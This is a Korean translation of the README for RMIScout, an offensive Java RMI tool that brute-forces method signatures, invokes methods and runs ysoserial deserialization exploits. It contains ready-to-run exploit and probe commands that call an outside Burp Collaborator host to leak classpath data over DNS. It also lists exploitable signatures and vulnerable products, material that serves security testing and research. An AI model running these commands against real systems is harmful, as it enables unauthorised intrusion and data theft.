
RMIScout는 워드리스트와 무차별 대입 전략을 사용하여 Java RMI 함수를 열거하고 RMI 매개변수 역직렬화 취약점을 악용합니다.
RMIScout는 노출된 Java RMI 인터페이스에 대해 워드리스트 및 무차별 대입 공격을 수행하여 메서드 호출 없이 안전하게 메서드 시그니처를 추측할 수 있게 해줍니다. 여러 Java RMI 프로토콜, 메서드 호출 및 익스플로잇을 지원합니다.
RMI 함수를 식별하되 실행하지 않기 위해 RMIScout는 저수준 RMI 네트워크 함수와 동적 클래스 생성을 사용하여 의도적으로 유형이 일치하지 않는 RMI 호출을 보내 원격 예외를 트리거합니다. 모든 매개변수는 원격 클래스패스에 존재하지 않을 것으로 가정되는 255자 이름의 동적 생성 직렬화 가능 클래스로 대체됩니다. 예:
Remote Interface:
void login(String user, String password)
RMIScout는 다음과 같이 호출합니다:
login((String) new QQkzkn3..255 chars..(), (String) new QQkzkn3..255 chars..())
클래스가 존재하는 경우, 이는 ClassNotFoundException 또는 인수 역직렬화 오류로 인해 java.rmi.UnmarshalException을 발생시키며 기본 메서드는 호출되지 않습니다.
자세한 기술 문서:
./rmiscout.sh wordlist -i lists/prototypes.txt <host> <port>
원격 서버에서 확인할 메서드 프로토타입 워드리스트를 제공합니다. RMIScout는 일치하는 모든 항목을 출력합니다.
RMI-IIOP/CORBA의 경우: 메서드가 오버로드되지 않은 경우, 무차별 대입 및 호출은 이름만 일치하면 됩니다 (다른 모든 정보는 무시됨).
./rmiscout.sh bruteforce -i lists/methods.txt -r void,boolean,long -p String,int -l 1,4 <host> <port>
후보 메서드 이름 워드리스트를 제공한 다음, 쉼표로 구분된 후보 반환 유형 목록, 매개변수 개수 범위 및 후보 매개변수 유형을 제공합니다. 무차별 대입 모드는 순열을 생성하고 일치하는 시그니처를 찾습니다.
./rmiscout.sh exploit -s 'void vulnSignature(java.lang.String a, int b)' -p ysoserial.payloads.URLDNS -c "http://examplesubdomain.burpcollaborator.net" -n registryName <host> <port>
잘못 구성된 서버에서 기본형이 아닌 유형(예: java.util.List)을 사용하는 알려진 RMI 시그니처는 객체를 직렬화된 페이로드로 대체하여 익스플로잇할 수 있습니다. 이는 An Trinh의 2019 Blackhat EU 발표에서 강조된 바와 같이 상당히 일반적인 잘못된 구성입니다 (예: VMWare vSphere Data Protection + vRealize Operations Manager, Pivotal tc Server 및 Gemfire, Apache Karaf + Cassandra).
RMIScout는 ysoserial과 통합되어 프로세스 전체 직렬화 필터(JEP 290)를 잘못 구성한 서비스에 대한 역직렬화 공격을 수행합니다.
익스플로잇 가능한 시그니처 예:
void exampleMethod(java.util.Map a) // 모든 기본형이 아닌 유형
void exampleMethod(float[] a) // 모든 유형의 배열, 기본형도 포함
void exampleMethod(String a) // 이전 JDK에서 작동, 아래 참조
참고: java.lang.String 유형을 포함하는 시그니처는 RMI-JRMP에서 2020년 초 이전의 JRE 8/11/13/14 릴리스에서만 익스플로잇 가능하지만, RMI-IIOP에서는 현재에도 익스플로잇 가능합니다.
./rmiscout.sh invoke -p 1 -p 4 -s 'int add(int a, int b)' <host> <port>
./rmiscout.sh invoke -p 1,2,3,4 -s 'int addList(int[] a)' <host> <port>
RMIScout를 사용하면 기본형, 기본형 배열 또는 String을 사용하여 모든 시그니처를 호출할 수 있습니다. 더 복잡한 유형은 사용자 정의 클라이언트를 작성해야 합니다.
./rmiscout.sh probe -s 'void vulnSignature(java.lang.String a, int b)' -i ../GadgetProbe/wordlists/maven_popular.list -d "examplesubdomain.burpcollaborator.net" -n registryName <host> <port>
RMIScout는 GadgetProbe와 통합되어 원격 클래스패스의 클래스를 식별합니다. 클래스 이름은 DNS를 통해 유출됩니다.
포함된 rmiscout.sh 스크립트를 사용하여 프로젝트를 자동으로 빌드하고 java -jar 구문을 위한 편리한 래퍼로 사용하세요:
./rmiscout.sh wordlist -i lists/prototypes.txt <host> <port>
또는 프로젝트를 수동으로 빌드하고 전통적인 java -jar 구문을 사용하세요:
# JAR 수동 빌드
./gradlew shadowJar
java -jar build/libs/rmiscout-1.4-SNAPSHOT-all.jar wordlist -i lists/prototypes.txt <host> <port>
참고: RMI-IIOP (컴파일/런타임) 및 ysoserial (런타임)은 JDK8에 의존합니다.
도커화된 데모 RMI 서버를 실행하세요. 포함된 demo/wordlist.txt를 사용해 보세요.
cd demo
./start_demo.sh
Q: <host>:<port>가 RMI 레지스트리인지 어떻게 알 수 있나요?
./rmiscout list <host> <port>를 사용하여 원격 서버의 레지스트리 정보를 얻으세요.
[INFO] Registries available on 127.0.0.1:1099 = [ActivationServer:com.bishopfox.example.ActivationImpl_Stub, plaintest:com.bishopfox.example.HelloInterface]
또는 nmap의 rmi-dumpregistry 스크립트를 사용하세요:
nmap --script rmi-dumpregistry 172.17.0.1 -p 1099 -Pn
PORT STATE SERVICE
1099/tcp open rmiregistry
| rmi-dumpregistry:
| ActivationServer
| com.bishopfox.example.ActivationImpl_Stub
| \x00\x0EActivatableRef
| extends
| java.rmi.server.RemoteStub
| extends
| java.rmi.server.RemoteObject
| plaintest
| implements com.bishopfox.example.HelloInterface,
| extends
| java.lang.reflect.Proxy
| fields
| Ljava/lang/reflect/InvocationHandler; h
| java.rmi.server.RemoteObjectInvocationHandler
| @127.0.0.1:1111
| extends
|_ java.rmi.server.RemoteObject
Q: 1098번 포트에서 java.rmi.activation.ActivationSystem이라는 이름의 레지스트리를 찾았습니다. 이것으로 무엇을 할 수 있나요?
이것은 rmid 활성화 시스템 데몬입니다. 모든 메서드는 SecurityManager에 의해 제한됩니다. 최신 JRE에서는 원격 데이터를 역직렬화하기 전에 원격 피어가 로컬호스트에서 왔는지 확인합니다. 2011년 이전의 이전 버전에는 이 검사가 없어 취약할 수 있습니다. https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/multi/misc/java_rmi_server.rb 참조.
Q: JRE 8보다 최신 런타임에서 RMIScout를 실행할 수 있나요?
A: 기술적으로는 가능하지만 다양한 기능이 작동하지 않습니다. CORBA 지원, 프로브 지원 및 ysoserial (익스플로잇 모드)은 JRE 8 의존성이 필요합니다.
Q: CannotCompileException이 발생하는 이유는 무엇인가요?
A: CannotCompileException은 유효하지 않은 메서드 이름이나 프로토타입이 직접 또는 워드리스트를 통해 제공될 때 발생합니다. RMIScout는 런타임에 사용자 제공 후보 시그니처에 대한 바이트코드를 생성합니다. RMIScout에는 사용자 제공 프로토타입의 일반적인 구문 오류를 수정하는 기본 규칙이 있지만, 때로는 실패할 수 있습니다.
Twitter: @BumbleSec
GitHub: the-bumble